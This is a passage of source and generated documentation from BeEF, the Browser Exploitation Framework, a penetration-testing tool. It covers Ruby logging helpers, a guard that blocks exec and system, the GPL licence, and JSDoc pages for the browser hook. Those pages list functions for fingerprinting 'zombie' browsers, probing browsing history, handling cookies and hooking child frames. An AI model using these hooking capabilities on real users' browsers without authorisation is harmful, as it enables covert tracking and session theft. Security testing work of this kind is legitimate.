Time.now.localtime.strftime('[%k:%M:%S]') + '[*]' + ' ' + s.to_s BeEF.logger.info s.to_s end # Function used to print information to the console (wraps print_info) # @param [String] s String to be printed def print_status(s) print_info(s) end # Function used to print warning information # @param [String] s String to be printed def print_warning(s) puts Time.now.localtime.strftime('[%k:%M:%S]') + '[!]' + ' ' + s.to_s BeEF.logger.warn s.to_s end # Function used to print debug information # @param [String] s String to be printed # @note This function will only print messages if the debug flag is set to true def print_debug(s) config = BeEF::Core::Configuration.instance return unless config.get('beef.debug') || BeEF::Core::Console::CommandLine.parse[:verbose] puts Time.now.localtime.strftime('[%k:%M:%S]') + '[>]' + ' ' + s.to_s BeEF.logger.debug s.to_s end # Function used to print successes to the console # @param [String] s String to be printed def print_success(s) puts Time.now.localtime.strftime('[%k:%M:%S]') + '[+]' + ' ' + s.to_s BeEF.logger.info s.to_s end # Function used to print successes to the console (wraps print_success) # @param [String] s String to be printed def print_good(s) print_success(s) end # Print multiple lines with decoration split by the return character # @param [String] s String to be printed # @note The string passed needs to be separated by the "\n" for multiple lines to be printed def print_more(s) time = Time.now.localtime.strftime('[%k:%M:%S]') lines = if s.instance_of?(Array) s else s.split("\n") end lines.each_with_index do |line, index| if (index + 1) == lines.size puts "#{time} |_ #{line}" BeEF.logger.info "#{time} |_ #{line}" else puts "#{time} | #{line}" BeEF.logger.info "#{time} | #{line}" end end end # Function used to print over the current line # @param [String] s String to print over current line # @note To terminate the print_over functionality your last print_over line must include a "\n" return def print_over(s) time = Time.now.localtime.strftime('[%k:%M:%S]') print "\r#{time}" + '[*]'.blue + " #{s}" BeEF.logger.info s.to_s end ================================================ FILE: core/ruby/security.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # @note Prevent exec from ever being used def exec(_args) puts 'For security reasons the exec method is not accepted in the Browser Exploitation Framework code base.' exit end # @note Prevent system from ever being used def system(_args) puts 'For security reasons the system method is not accepted in the Browser Exploitation Framework code base.' exit end # @note Prevent Kernel.system from ever being used def Kernel.system(_args) puts 'For security reasons the Kernel.system method is not accepted in the Browser Exploitation Framework code base.' exit end ================================================ FILE: core/ruby/string.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class String # @note Use a gem to colorize the console. # @note http://flori.github.com/term-ansicolor/ include Term::ANSIColor end ================================================ FILE: core/ruby.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # @note Patching Ruby Security require 'core/ruby/security' # @note Patching Ruby require 'core/ruby/module' require 'core/ruby/string' require 'core/ruby/print' require 'core/ruby/hash' ================================================ FILE: core/settings.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Settings # Checks if an extension exists in the framework. # @param [String] beef_extension extension class # @return [Boolean] if the extension exists # @deprecated Use #{BeEF::Extension.is_present()} instead of this method. # This method bypasses the configuration system. def self.extension_exists?(beef_extension) BeEF::Extension.const_defined?(beef_extension) end # Checks to see if the console extensions has been loaded # @return [Boolean] if the console extension has been loaded # @deprecated Use #{BeEF::Extension.is_loaded()} instead of this method. # This method bypasses the configuration system. def self.console? extension_exists?('Console') end end end ================================================ FILE: doc/COPYING ================================================ COPYING -- Describes the terms under which the Browser Exploitation Framework (BeEF) is distributed. A copy of the GNU General Public License (GPL) is appended to this file. BeEF (Browser Exploitation Framework) is (C) 2006-2026 Wade Alcorn. This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; Version 2 with the clarifications and exceptions described below. This guarantees your right to use, modify, and redistribute this software under certain conditions. If you wish to embed BeEF technology into proprietary software, we sell alternative licenses (contact wade@bindshell.net). Note that the GPL places important restrictions on "derived works", yet it does not provide a detailed definition of that term. To avoid misunderstandings, we interpret that term as broadly as copyright law allows. For example, we consider an application to constitute a "derived work" for the purpose of this license if it does any of the following: * Integrates source code from BeEF. * Reads or includes BeEF copyrighted hook, core components, tests, modules or extensions. * Executes BeEF and parses the results. * Integrates/includes/aggregates BeEF into a proprietary executable installer, such as those produced by InstallShield. * Links to a library or executes a program that does any of the above The term "BeEF" should be taken to also include any portions or derived works of BeEF. This list is not exclusive, but is meant to clarify our interpretation of derived works with some common examples. Our interpretation applies only to BeEF - we do not speak for other people's GPL works. If you have any questions about the GPL licensing restrictions on using BeEF in non-GPL works, we would be happy to help. As mentioned above, we also offer alternative license to integrate BeEF into proprietary applications and appliances. If you received these files with a written license agreement or contract stating terms other than the terms above, then that alternative license agreement takes precedence over these comments. Source is provided to this software because we believe users have a right to know exactly what a program is going to do before they run it. Source code also allows you to fix bugs and add new features. You are highly encouraged to send your changes to wade@bindshell.net for possible incorporation into the main distribution. By sending these changes to the BeEF developers, to the mailing lists, or via Git pull request, checking them into the BeEF source code repository, it is understood (unless you specify otherwise) that you are offering the BeEF project the unlimited, non-exclusive right to reuse, modify, and relicense the code. BeEF will always be available Open Source, but this is important because the inability to relicense code has caused devastating problems for other Free Software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License v2.0 for more details at http://www.gnu.org/licenses/gpl-2.0.html, or below **************************************************************************** GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS **************************************************************************** ================================================ FILE: doc/boilerplate ================================================ Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net Browser Exploitation Framework (BeEF) - https://beefproject.com See the file 'doc/COPYING' for copying permission ================================================ FILE: docs/BeefJS.html ================================================ JSDoc: Namespace: BeefJS

Namespace: BeefJS

BeefJS

Register the BeEF JS on the window object.

Properties:
Name Type Description
version string

BeEf Version

pageIsLoaded boolean

This gets set to true during window.onload(). It's a useful hack when messing with document.write().

onpopstate array

An array containing functions to be executed by the window.onpopstate() method.

onclose array

An array containing functions to be executed by the window.onclose() method.

commands array

An array containing functions to be executed by Beef.

components array

An array containing all the BeEF JS components.

Source:

Methods

(static) debug()

Adds a function to display debug messages (wraps console.log())

Source:

(static) execute()

Adds a function to execute.

Source:

(static) regCmp()

Registers a component in BeEF JS.

Source:

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/are.js.html ================================================ JSDoc: Source: are.js

Source: are.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/** 
 * A series of functions that handle statuses, returns a number based on the function called.
 * @namespace beef.are
 */

beef.are = {
  /**
   * A function for handling a success status
   * @memberof beef.are
   * @method status_success 
   * @return {number} 1
   */
  status_success: function(){
    return 1;
  },
  /**
   * A function for handling an unknown status
   * @memberof beef.are
   * @method status_unknown 
   * @return {number} 0
   */  
  status_unknown: function(){
    return 0;
  },
  /**
   * A function for handling an error status
   * @memberof beef.are
   * @method status_error 
   * @return {number} -1
   */  
  status_error: function(){
    return -1;
  }
};
beef.regCmp("beef.are");

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.are.html ================================================ JSDoc: Namespace: are

Namespace: are

are

A series of functions that handle statuses, returns a number based on the function called.

Source:

Methods

(static) status_error() → {number}

A function for handling an error status

Source:
Returns:

-1

Type
number

(static) status_success() → {number}

A function for handling a success status

Source:
Returns:

1

Type
number

(static) status_unknown() → {number}

A function for handling an unknown status

Source:
Returns:

0

Type
number

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.browser.cookie.html ================================================ JSDoc: Namespace: cookie

Namespace: cookie

.browser.cookie

Provides fuctions for working with cookies. Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php Original author unknown.

Source:

Methods

(static) cookieValueRandomizer()

Source:

(static) deleteCookie()

Source:

(static) getCookie()

Source:

(static) hasPersistentCookies()

Source:

(static) hasSessionCookies()

Source:

(static) setCookie()

Source:

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.browser.html ================================================ JSDoc: Namespace: browser

Namespace: browser

browser

Basic browser functions.

Source:

Namespaces

cookie
popup

Methods

(static) changeFavicon()

Dynamically changes the favicon: works in Firefox, Chrome and Opera

Source:

(static) changePageTitle()

Changes page title

Source:

(static) getBrowserEngine()

Returns the underlying layout engine in use by the browser.

Source:

(static) getBrowserLanguage()

Get the browser language

Source:

(static) getBrowserName()

Returns the type of user agent by hooked browser.

Source:

(static) getBrowserReportedName()

Returns the user agent that the browser is claiming to be.

Source:

(static) getBrowserVersion()

Returns the major version of the browser being used.

Source:

(static) getDetails()

Construct hash from browser details. This function is used to grab the browser details during the hooking process

Source:

(static) getMaxConnections() → {Object}

A function that gets the max number of simultaneous connections the browser can make per origin, or globally on all origin.

This code is based on research from browserspy.dk

Source:
Returns:

A jQuery deferred object promise, which when resolved passes the number of connections to the callback function as "this"

Type
Object

(static) getPageBody()

Returns the page body HTML

Source:

(static) getPageHead()

Returns the page head HTML

Source:

(static) getPlugins()

Returns the list of plugins installed in the browser.

Source:

(static) getPluginsIE()

Returns a list of plugins detected by IE. This is a hack because IE doesn't support navigator.plugins

Source:

(static) getProtocol()

Returns the protocol.

Source:

(static) getWindowSize()

Returns zombie browser window size.

Source:

(static) hasActiveX()

Returns boolean value depending on whether the browser supports ActiveX

Source:

(static) hasCors()

Checks if the browser supports CORS

Source:

(static) hasFlash()

Checks if the zombie has flash installed and enabled.

Source:

(static) hasFoxit()

Checks if the zombie has Foxit PDF reader plugin.

Source:

(static) hasGoogleGears()

Checks if the zombie has Google Gears installed.

Source:

(static) hasJava()

Checks if the zombie has Java installed and enabled.

Source:

(static) hasPhonegap()

Checks if the Phonegap API is available from the hooked origin.

Source:

(static) hasQuickTime()

Checks if the zombie has the QuickTime plugin installed.

Source:

(static) hasRealPlayer()

Checks if the zombie has the RealPlayer plugin installed.

Source:

(static) hasSilverlight()

Returns boolean value depending on whether the browser supports Silverlight

Source:

(static) hasVBScript()

Checks if the zombie has VBScript enabled.

Source:

(static) hasVLC()

Checks if VLC is installed

Source:

(static) hasVisited()

Returns array of results, whether or not the target zombie has visited the specified URL

Source:

(static) hasWMP()

Checks if the zombie has the Windows Media Player plugin installed.

Source:

(static) hasWebGL()

Checks if the zombie has WebGL enabled.

Source:

(static) hasWebRTC()

Returns boolean value depending on whether the browser supports WebRTC

Source:

(static) hasWebSocket()

Checks if the zombie has Web Sockets enabled.

Source:

(static) hasWebWorker()

Checks if the zombie has Web Workers enabled.

Source:

(static) hookChildFrames()

Hooks all child frames in the current window Restricted by same-origin policy

Source:

(static) isA()

Returns true if Avant Browser.

Source:

(static) isBrave()

Returns true if Brave

Source:

(static) isC()

Returns true if Chrome.

Source:

(static) isC10()

Returns true if Chrome 10.

Source:

(static) isC11()

Returns true if Chrome 11.

Source:

(static) isC12()

Returns true if Chrome 12.

Source:

(static) isC13()

Returns true if Chrome 13.

Source:

(static) isC14()

Returns true if Chrome 14.

Source:

(static) isC15()

Returns true if Chrome 15.

Source:

(static) isC16()

Returns true if Chrome 16.

Source:

(static) isC17()

Returns true if Chrome 17.

Source:

(static) isC18()

Returns true if Chrome 18.

Source:

(static) isC19()

Returns true if Chrome 19.

Source:

(static) isC19iOS()

Returns true if Chrome for iOS 19.

Source:

(static) isC20()

Returns true if Chrome 20.

Source:

(static) isC20iOS()

Returns true if Chrome for iOS 20.

Source:

(static) isC21()

Returns true if Chrome 21.

Source:

(static) isC21iOS()

Returns true if Chrome for iOS 21.

Source:

(static) isC22()

Returns true if Chrome 22.

Source:

(static) isC22iOS()

Returns true if Chrome for iOS 22.

Source:

(static) isC23()

Returns true if Chrome 23.

Source:

(static) isC23iOS()

Returns true if Chrome for iOS 23.

Source:

(static) isC24()

Returns true if Chrome 24.

Source:

(static) isC24iOS()

Returns true if Chrome for iOS 24.

Source:

(static) isC25()

Returns true if Chrome 25.

Source:

(static) isC25iOS()

Returns true if Chrome for iOS 25.

Source:

(static) isC26()

Returns true if Chrome 26.

Source:

(static) isC26iOS()

Returns true if Chrome for iOS 26.

Source:

(static) isC27()

Returns true if Chrome 27.

Source:

(static) isC27iOS()

Returns true if Chrome for iOS 27.

Source:

(static) isC28()

Returns true if Chrome 28.

Source:

(static) isC28iOS()

Returns true if Chrome for iOS 28.

Source:

(static) isC29()

Returns true if Chrome 29.

Source:

(static) isC29iOS()

Returns true if Chrome for iOS 29.

Source:

(static) isC30()

Returns true if Chrome 30.

Source:

(static) isC30iOS()

Returns true if Chrome for iOS 30.

Source:

(static) isC31()

Returns true if Chrome 31.

Source:

(static) isC31iOS()

Returns true if Chrome for iOS 31.

Source:

(static) isC32()

Returns true if Chrome 32.

Source:

(static) isC32iOS()

Returns true if Chrome for iOS 32.

Source:

(static) isC33()

Returns true if Chrome 33.

Source:

(static) isC33iOS()

Returns true if Chrome for iOS 33.

Source:

(static) isC34()

Returns true if Chrome 34.

Source:

(static) isC34iOS()

Returns true if Chrome for iOS 34.

Source:

(static) isC35()

Returns true if Chrome 35.

Source:

(static) isC35iOS()

Returns true if Chrome for iOS 35.

Source:

(static) isC36()

Returns true if Chrome 36.

Source:

(static) isC36iOS()

Returns true if Chrome for iOS 36.

Source:

(static) isC37()

Returns true if Chrome 37.

Source:

(static) isC37iOS()

Returns true if Chrome for iOS 37.

Source:

(static) isC38()

Returns true if Chrome 38.

Source:

(static) isC38iOS()

Returns true if Chrome for iOS 38.

Source:

(static) isC39()

Returns true if Chrome 39.

Source:

(static) isC39iOS()

Returns true if Chrome for iOS 39.

Source:

(static) isC40()

Returns true if Chrome 40.

Source:

(static) isC40iOS()

Returns true if Chrome for iOS 40.

Source:

(static) isC41()

Returns true if Chrome 41.

Source:

(static) isC41iOS()

Returns true if Chrome for iOS 41.

Source:

(static) isC42()

Returns true if Chrome 42.

Source:

(static) isC42iOS()

Returns true if Chrome for iOS 42.

Source:

(static) isC43()

Returns true if Chrome 43.

Source:

(static) isC43iOS()

Returns true if Chrome for iOS 43.

Source:

(static) isC44()

Returns true if Chrome 44.

Source:

(static) isC44iOS()

Returns true if Chrome for iOS 44.

Source:

(static) isC45()

Returns true if Chrome 45.

Source:

(static) isC45iOS()

Returns true if Chrome for iOS 45.

Source:

(static) isC46()

Returns true if Chrome 46.

Source:

(static) isC46iOS()

Returns true if Chrome for iOS 46.

Source:

(static) isC47()

Returns true if Chrome 47.

Source:

(static) isC47iOS()

Returns true if Chrome for iOS 47.

Source:

(static) isC48()

Returns true if Chrome 48.

Source:

(static) isC48iOS()

Returns true if Chrome for iOS 48.

Source:

(static) isC49()

Returns true if Chrome 49.

Source:

(static) isC49iOS()

Returns true if Chrome for iOS 49.

Source:

(static) isC5()

Returns true if Chrome 5.

Source:

(static) isC50()

Returns true if Chrome 50.

Source:

(static) isC50iOS()

Returns true if Chrome for iOS 50.

Source:

(static) isC51()

Returns true if Chrome 51.

Source:

(static) isC51iOS()

Returns true if Chrome for iOS 51.

Source:

(static) isC52()

Returns true if Chrome 52.

Source:

(static) isC52iOS()

Returns true if Chrome for iOS 52.

Source:

(static) isC53()

Returns true if Chrome 53.

Source:

(static) isC53iOS()

Returns true if Chrome for iOS 53.

Source:

(static) isC54()

Returns true if Chrome 54.

Source:

(static) isC54iOS()

Returns true if Chrome for iOS 54.

Source:

(static) isC55()

Returns true if Chrome 55.

Source:

(static) isC55iOS()

Returns true if Chrome for iOS 55.

Source:

(static) isC56()

Returns true if Chrome 56.

Source:

(static) isC56iOS()

Returns true if Chrome for iOS 56.

Source:

(static) isC57()

Returns true if Chrome 57.

Source:

(static) isC57iOS()

Returns true if Chrome for iOS 57.

Source:

(static) isC58()

Returns true if Chrome 58.

Source:

(static) isC58iOS()

Returns true if Chrome for iOS 58.

Source:

(static) isC59()

Returns true if Chrome 59.

Source:

(static) isC59iOS()

Returns true if Chrome for iOS 59.

Source:

(static) isC6()

Returns true if Chrome 6.

Source:

(static) isC60()

Returns true if Chrome 60.

Source:

(static) isC60iOS()

Returns true if Chrome for iOS 60.

Source:

(static) isC61()

Returns true if Chrome 61.

Source:

(static) isC61iOS()

Returns true if Chrome for iOS 61.

Source:

(static) isC62()

Returns true if Chrome 62.

Source:

(static) isC62iOS()

Returns true if Chrome for iOS 62.

Source:

(static) isC63()

Returns true if Chrome 63.

Source:

(static) isC63iOS()

Returns true if Chrome for iOS 63.

Source:

(static) isC64()

Returns true if Chrome 64.

Source:

(static) isC64iOS()

Returns true if Chrome for iOS 64.

Source:

(static) isC65()

Returns true if Chrome 65.

Source:

(static) isC65iOS()

Returns true if Chrome for iOS 65.

Source:

(static) isC66()

Returns true if Chrome 66.

Source:

(static) isC66iOS()

Returns true if Chrome for iOS 66.

Source:

(static) isC67()

Returns true if Chrome 67.

Source:

(static) isC67iOS()

Returns true if Chrome for iOS 67.

Source:

(static) isC68()

Returns true if Chrome 68.

Source:

(static) isC68iOS()

Returns true if Chrome for iOS 68.

Source:

(static) isC69()

Returns true if Chrome 69.

Source:

(static) isC69iOS()

Returns true if Chrome for iOS 69.

Source:

(static) isC7()

Returns true if Chrome 7.

Source:

(static) isC70()

Returns true if Chrome 70.

Source:

(static) isC70iOS()

Returns true if Chrome for iOS 70.

Source:

(static) isC71()

Returns true if Chrome 71.

Source:

(static) isC71iOS()

Returns true if Chrome for iOS 71.

Source:

(static) isC72()

Returns true if Chrome 72.

Source:

(static) isC72iOS()

Returns true if Chrome for iOS 72.

Source:

(static) isC73()

Returns true if Chrome 73.

Source:

(static) isC73iOS()

Returns true if Chrome for iOS 73.

Source:

(static) isC74()

Returns true if Chrome 74.

Source:

(static) isC74iOS()

Returns true if Chrome for iOS 74.

Source:

(static) isC75()

Returns true if Chrome 75.

Source:

(static) isC75iOS()

Returns true if Chrome for iOS 75.

Source:

(static) isC76()

Returns true if Chrome 76.

Source:

(static) isC76iOS()

Returns true if Chrome for iOS 76.

Source:

(static) isC77()

Returns true if Chrome 77.

Source:

(static) isC77iOS()

Returns true if Chrome for iOS 77.

Source:

(static) isC78()

Returns true if Chrome 78.

Source:

(static) isC78iOS()

Returns true if Chrome for iOS 78.

Source:

(static) isC79()

Returns true if Chrome 79.

Source:

(static) isC79iOS()

Returns true if Chrome for iOS 79.

Source:

(static) isC8()

Returns true if Chrome 8.

Source:

(static) isC80()

Returns true if Chrome 80.

Source:

(static) isC80iOS()

Returns true if Chrome for iOS 80.

Source:

(static) isC81()

Returns true if Chrome 81.

Source:

(static) isC81iOS()

Returns true if Chrome for iOS 81.

Source:

(static) isC82()

Returns true if Chrome 82.

Source:

(static) isC82iOS()

Returns true if Chrome for iOS 82.

Source:

(static) isC83()

Returns true if Chrome 83.

Source:

(static) isC83iOS()

Returns true if Chrome for iOS 83.

Source:

(static) isC84()

Returns true if Chrome 84.

Source:

(static) isC84iOS()

Returns true if Chrome for iOS 84.

Source:

(static) isC85()

Returns true if Chrome 85.

Source:

(static) isC85iOS()

Returns true if Chrome for iOS 85.

Source:

(static) isC86()

Returns true if Chrome 86.

Source:

(static) isC86iOS()

Returns true if Chrome for iOS 86.

Source:

(static) isC87()

Returns true if Chrome 87.

Source:

(static) isC87iOS()

Returns true if Chrome for iOS 87.

Source:

(static) isC88()

Returns true if Chrome 88.

Source:

(static) isC88iOS()

Returns true if Chrome for iOS 88.

Source:

(static) isC89()

Returns true if Chrome 89.

Source:

(static) isC89iOS()

Returns true if Chrome for iOS 89.

Source:

(static) isC9()

Returns true if Chrome 9.

Source:

(static) isC90()

Returns true if Chrome 90.

Source:

(static) isC90iOS()

Returns true if Chrome for iOS 90.

Source:

(static) isC91()

Returns true if Chrome 91.

Source:

(static) isC91iOS()

Returns true if Chrome for iOS 91.

Source:

(static) isC92()

Returns true if Chrome 92.

Source:

(static) isC92iOS()

Returns true if Chrome for iOS 92.

Source:

(static) isC93()

Returns true if Chrome 93.

Source:

(static) isC93iOS()

Returns true if Chrome for iOS 93.

Source:

(static) isC94()

Returns true if Chrome 94.

Source:

(static) isC94iOS()

Returns true if Chrome for iOS 94.

Source:

(static) isC95()

Returns true if Chrome 95.

Source:

